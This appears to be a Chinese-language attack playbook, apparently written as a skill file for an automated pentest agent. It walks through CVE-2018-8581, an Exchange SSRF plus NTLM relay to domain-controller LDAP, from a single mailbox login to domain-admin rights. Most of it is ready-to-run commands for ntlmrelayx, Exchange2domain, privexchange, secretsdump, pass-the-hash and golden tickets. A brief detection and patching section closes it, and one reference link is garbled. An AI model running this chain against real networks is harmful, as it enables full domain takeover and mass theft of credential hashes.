exchange-to-domain

name	exchange-to-domain
description	Exchange 服务器到域控提权 - CVE-2018-8581 Exchange2Domain 攻击链
zone	3

Exchange 到域控提权 (CVE-2018-8581)

将合法邮箱凭证提升至域管权限，通过 Exchange SSRF + NTLM Relay 攻击链获取域控权限

漏洞概述

CVE-2018-8581 是 Exchange 服务器的严重权限提升漏洞，利用了 EWS 接口的 SSRF 特性和 NTLM Relay 攻击，使得拥有合法邮箱凭证的普通域用户可以被提升至域管权限。

漏洞效果

• 普通邮箱用户 → 域管理员权限
• 可以 DCSync 导出所有域用户密码哈希
• 完全控制 Active Directory

影响范围

Exchange Server 2010
Exchange Server 2013
Exchange Server 2016

利用条件

1. ✅ Exchange 默认配置（大部分环境满足）
2. ✅ 拥有合法的邮箱用户凭证（任何域用户即可）
3. ✅ 已在内网环境中取得可用主机（用于 NTLM Relay）
4. ✅ Exchange 服务器未安装补丁 KB4467499

---

漏洞原理

攻击链概述

邮箱用户凭证
    ↓
Exchange EWS 推送订阅 (SSRF)
    ↓
Exchange 发起 HTTP NTLM 认证 (SYSTEM 权限)
    ↓
NTLM Relay 到域控 LDAP
    ↓
Exchange 机器账户授予 DCSync 权限
    ↓
导出所有域用户密码哈希

技术细节

1. EWS 推送订阅漏洞：

   • Exchange 允许任意已认证用户通过 EWS 接口创建推送订阅
   • 可以指定任意 URL 作为通知推送目的地

2. SYSTEM 权限 NTLM 认证：

   • Exchange EWS 服务以 SYSTEM 权限运行
   • 使用 CredentialCache.DefaultCredentials 发起 HTTP 请求
   • 自动使用 Exchange 机器账户发起 NTLM 认证

3. LDAP 签名绕过：

   • HTTP 协议的 NTLM 认证不要求签名
   • 可以成功中继到 LDAP（默认协商签名）

4. 权限提升：

   • Exchange 机器账户具有 write-acl 权限
   • 可以给任意用户授予 DCSync 权限
   • DCSync 可以导出所有域用户密码哈希

---

Phase 0: 环境验证

检查 Exchange 版本

# 方法 1: 通过端口识别
nmap -p 443 --script ssl-cert exchange-server.local

# 方法 2: 通过 OWA 识别
curl -k https://exchange-server.local/owa/ | grep -i "exchange"

# 方法 3: 通过 EWS 接口测试
curl -k https://exchange-server.local/EWS/Exchange.asmx

检查 Exchange 是否安装补丁

# 查询已安装的补丁
Get-HotFix | Where-Object {$_.HotFixID -eq "KB4467499"}

# 或者查看 Exchange 版本
Get-ExchangeServer | Select-Object Name, Edition, AdminDisplayVersion

收集必要信息

# 获取域控信息
nslookup -type=srv _ldap._tcp.dc._msdcs.$(dnsdomainname)

# 获取邮箱用户凭证（已拥有）
# user: domain\\user
# pass: Password123

---

工具位置

重要: 所有工具位于 /opt/workspace/ad/ 目录

# 主目录
cd /opt/workspace/ad/

# 主要工具（每个工具在独立的子目录中）
./Exchange2domain/Exchange2domain.py        # Exchange 到域控自动化工具
./privexchange/privexchange.py              # Exchange EWS 推送订阅触发器
# ntlmrelayx 来自 impacket，系统已安装

---

Phase 1: 检测漏洞存在性

方法 1: 使用 Exchange2domain 自动检测

# 工具位于 /opt/workspace/ad/Exchange2domain/
cd /opt/workspace/ad/Exchange2domain/

# 检测漏洞
python3 Exchange2domain.py -ah exchange-server.local -u [e-mail] -p password -d domain.local --check

方法 2: 手动验证 EWS 接口

# 测试 EWS 接口是否可访问
curl -k -u [e-mail]:password \\
  https://exchange-server.local/EWS/Exchange.asmx \\
  -H "Content-Type: text/xml" \\
  -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body></soap:Body></soap:Envelope>'

---

Phase 2: NTLM Relay 准备

启动 ntlmrelayx

# 在攻击者机器上启动
ntlmrelayx.py \\
  -t ldap://dc-ip-address \\
  --escalate-user attacker_user \\
  -debug

# 参数说明：
# -t: 中继目标（域控 LDAP）
# --escalate-user: 要提权的用户
# -debug: 开启调试模式

或者使用 Exchange2domain 一键利用

# 工具位于 /opt/workspace/ad/Exchange2domain/
cd /opt/workspace/ad/Exchange2domain/

python3 Exchange2domain.py \\
  -ah exchange-server.local \\
  -u [e-mail] \\
  -p password \\
  -d domain.local \\
  --dump

# 参数说明：
# -ah: Exchange 服务器地址
# -u: 邮箱用户名
# -p: 密码
# -d: 域名
# --dump: 自动执行 DCSync 导出哈希

---

Phase 3: 触发 NTLM 认证

方法 1: 使用 Exchange2domain 自动触发

# Exchange2domain 会自动完成以下步骤：
# 1. 连接 EWS 接口
# 2. 创建推送订阅，指定 ntlmrelayx 监听地址
# 3. 触发 Exchange 发送通知
# 4. NTLM Relay 自动完成

方法 2: 手动触发（使用 privexchange）

# 工具位于 /opt/workspace/ad/privexchange/
cd /opt/workspace/ad/privexchange/

# 触发 Exchange 向攻击者发起 NTLM 认证
python3 privexchange.py -ah exchange-server.local -u [e-mail] -p password -d domain.local

# 监听地址会自动设置为 ntlmrelayx 的地址

---

Phase 4: 导出域控哈希

方法 1: Exchange2domain 自动导出

# 工具位于 /opt/workspace/ad/Exchange2domain/
cd /opt/workspace/ad/Exchange2domain/

# 如果使用了 --dump 参数，会自动导出
python3 Exchange2domain.py -ah exchange-server.local -u [e-mail] -p password -d domain.local --dump

# 导出的哈希会保存在当前目录

方法 2: 手动 DCSync

# 使用 secretsdump 导出域控哈希
secretsdump.py domain.local/attacker_user:password@dc-ip-address -just-dc

# 或者使用 impacket 的 DCSync
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \\
  -just-dc-ntlm \\
  domain.local/attacker_user:@dc-ip-address

---

Phase 5: 使用哈希进行横向移动

使用哈希传递

# 使用域管哈希登录
psexec.py -hashes :nthash domain/administrator@dc-ip-address

# 或者使用 wmiexec
wmiexec.py -hashes :nthash domain/administrator@dc-ip-address

或者使用黄金票据

# 导出 KRBTGT 哈希
secretsdump.py -just-dc-ntlm domain.local/attacker_user:@dc-ip-address

# 生成黄金票据
ticketer.py -nthash krbtgt_hash -domain-sid domain_sid -domain domain.local administrator

# 使用票据
kinit [e-mail]

---

防御检测

检测指标

1. 异常的 EWS 推送订阅：

   -- 检查 Exchange 中的推送订阅
   Get-Subscription -ResultSize Unlimited | Where-Object {$_.NotificationUrl -match "http"}
   

2. 异常的 LDAP 修改：

   • 监控 AD 中的权限变更日志
   • 检测 write-acl 操作

3. DCSync 行为：

   • 监控域控上的 Directory Replication 事件
   • 检测异常的 Replication GetChanges 请求

修复建议

1. 安装补丁：安装 KB4467499
2. 限制 EWS 接口：限制 EWS 推送订阅功能
3. 启用 LDAP 签名：强制 LDAP 服务器要求签名
4. 监控权限变更：启用 AD 权限变更审计

---

参考资源

原始漏洞分析

• Microsoft Security Advisory CVE-2018-8581
• [Privilege Escalation via Exchange EWS Push Subscriptions](https://medium.com/@air CERT/cc)

工具链接

• Exchange2domain - Ridter
• privexchange - dirkjanm
• impacket - SecureAuthCorp

复现文章

• Exchange2Domain 复现 - 简书
• CVE-2018-8581 漏洞分析 - FreeBuf

---

相关技能

• ntlm-relay-attack - NTLM 中继攻击基础
• ad-domain-attack - AD 域攻击技术
• post-exploit-windows - Windows 后渗透